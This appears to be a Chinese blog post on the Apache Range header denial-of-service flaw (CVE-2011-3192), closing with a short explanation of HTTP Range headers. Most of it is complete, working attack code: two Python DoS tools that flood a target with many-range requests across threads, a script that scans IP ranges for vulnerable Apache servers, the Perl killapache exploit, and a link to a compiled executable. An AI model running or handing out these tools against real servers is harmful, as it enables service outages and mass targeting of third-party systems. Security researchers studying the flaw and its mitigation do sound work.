关于绿盟的介绍:
http://www.nsfocus.net/index.php?act=alert&do=view&aid=120
py2版本
#!/usr/bin/env python import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse NAME = "KillApachePy (Range Header DoS CVE-2011-3192)" VERSION = "0.1d" AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)" LICENSE = "Public domain (FREE)" SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached) RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload USER_AGENT = "KillApachePy (%s)" % VERSION def attack(url, user_agent=None, method='GET', proxy=None): url = ("http://%s" % url) if '://' not in url else url host = urlparse.urlparse(url).netloc if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I): print "(x) Invalid proxy address used" exit(-1) proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2 def set_method(self, method): self.method = method.upper() def get_method(self): return getattr(self, 'method', urllib2.Request.get_method(self)) def _send(check=False): #Send the vulnerable request to the target if check: print "(i) Checking target for vulnerability..." payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER)) try: headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' } req = _MethodRequest(url, None, headers) req.set_method(method) response = urllib2.urlopen(req) if check: return response and ('byteranges' in repr(response.headers.headers) or response.code == 206) except urllib2.URLError, msg: if any([item in str(msg) for item in ('Too many', 'Connection reset')]): pass elif 'timed out' in str(msg): print "\r(i) Server seems to be choked ('%s')" % msg else: print "(x) Connection error ('%s')" % msg if check or 'Forbidden' in str(msg): os._exit(-1) except Exception, msg: raise try: if not _send(check=True): print "(x) Target does not seem to be vulnerable" else: print "(o) Target seems to be vulnerable\n" quit = False while not quit: threads = [] print "(i) Creating new threads..." try: while True: thread = threading.Thread(target=_send) thread.start() threads.append(thread) except KeyboardInterrupt: quit = True raise except Exception, msg: if 'new thread' in str(msg): print "(i) Maximum number of new threads created (%d)" % len(threads) else: print "(x) Exception occured ('%s')" % msg finally: if not quit: print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME time.sleep(SLEEP_TIME) print except KeyboardInterrupt: print "\r(x) Ctrl-C was pressed" os._exit(1) if __name__ == "__main__": print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) parser = optparse.OptionParser(version=VERSION) parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")") parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")") parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)") parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")") options, _ = parser.parse_args() if options.url: result = attack(options.url, options.agent, options.method, options.proxy) else: parser.print_help()
py3版本:
import threading,argparse,sys,socket,re parser = argparse.ArgumentParser(description='Http range Dos tools,by Yatere.') parser.add_argument('-t',help="Trager's IP or domain") parser.add_argument('-r',default=256,type=int,help="Trager's Threading Number") parser.add_argument('-f',default=False,type=bool,help="force dos") args = parser.parse_args() if args.t ==None: parser.print_help() sys.exit(1) domain=args.t threadno=args.r force=args.f port=80 p='' for i in range(1300): p=p+',5-'+str(i) had='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-'+p+'\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n' had1='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n' class yk(threading.Thread): def __init__(self,domain,port=80): super(yk,self).__init__() self.domain=domain self.port=port self.start() def run(self): while True: try: a=socket.socket() a.connect((self.domain,self.port)) a.send(had.encode()) a.close() print('HEADing\n') except Exception as a: print (a) pass a=socket.socket() a.connect((domain,port)) a.send(had1.encode()) s=a.recv(1024).decode() if not force: if not s.find('bytes 0-')>0: print('目标服务器貌似不存在本漏洞') sys.exit(1) for i in range(threadno): yk(domain,port)
扫描脚本。
import threading,sys,socket,iptools,queue ipstart=sys.argv[1] ipstop=sys.argv[2] def had(domain): return 'HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n' class yk(threading.Thread): def __init__(self,que,port=80): super(yk,self).__init__() self.que=que self.port=port self.start() def run(self): while True: if self.que.empty(): break ip=self.que.get() try: a=socket.socket() a.connect((ip,self.port)) a.send(had(ip).encode()) s=a.recv(1024).decode() if s.find('bytes 0-')>1 and s.find('pache')>1 : print(ip,'存在Apache Range Dos漏洞') a.close() except Exception as a: pass self.que.task_done() que=queue.Queue() for i in iptools.IpRange((ipstart,ipstop)): que.put(i) for i in range(10): yk(que)
本代码的可执行程序下载地址:
http://howfile.com/file/2611e8a1/f91052a3/
以下是国外的介绍:
http://blog.spiderlabs.com/2011/08/mitigation-of-apache-range-header-dos-attack.html
国外提供的攻击脚本
#Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }
此外pediy上有个帖子总结不错
http://bbs.pediy.com/showthread.php?t=146952
------------------
假设你要开发一个多线程下载工具,你会自然的想到把文件分割成多个部分,比如4个部分,然后创建4个线程,每个线程负责下载一个部分,如果文件大小为 403个byte,那么你的分割方式可以为:0-99 (前100个字节),100-199(第二个100字节),200-299(第三个100字节),300-402(最后103个字节)。
分割完成,每个线程都明白自己的任务,比如线程3的任务是负责下载200-299这部分文件,现在的问题是:线程3发送一个什么样的请求报文,才能够保证只请求文件的200-299字节,而不会干扰其他线程的任务。这时,我们可以使用HTTP1.1的Range头。Range头域可以请求实体的一个或者多个子范围,Range的值为0表示第一个字节,也就是Range计算字节数是从0开始的:
表示头500个字节:Range: bytes=0-499
表示第二个500字节:Range: bytes=500-999
表示最后500个字节:Range: bytes=-500
表示500字节以后的范围:Range: bytes=500-
第一个和最后一个字节:Range: bytes=0-0,-1
同时指定几个范围:Range: bytes=500-600,601-999
所以,线程3发送的请求报文必须有这一行:
Range: bytes=200-299
服务器接收到线程3的请求报文,发现这是一个带有Range头的GET请求,如果一切正常,服务器的响应报文会有下面这行:
HTTP/1.1 206 OK
表示处理请求成功,响应报文还有这一行
Content-Range: bytes 200-299/403
斜杠后面的403表示文件的大小,通常Content-Range的用法为:
. The first 500 bytes:
Content-Range: bytes 0-499/1234
. The second 500 bytes:
Content-Range: bytes 500-999/1234
. All except for the first 500 bytes:
Content-Range: bytes 500-1233/1234
. The last 500 bytes:
Content-Range: bytes 734-1233/1234
------------------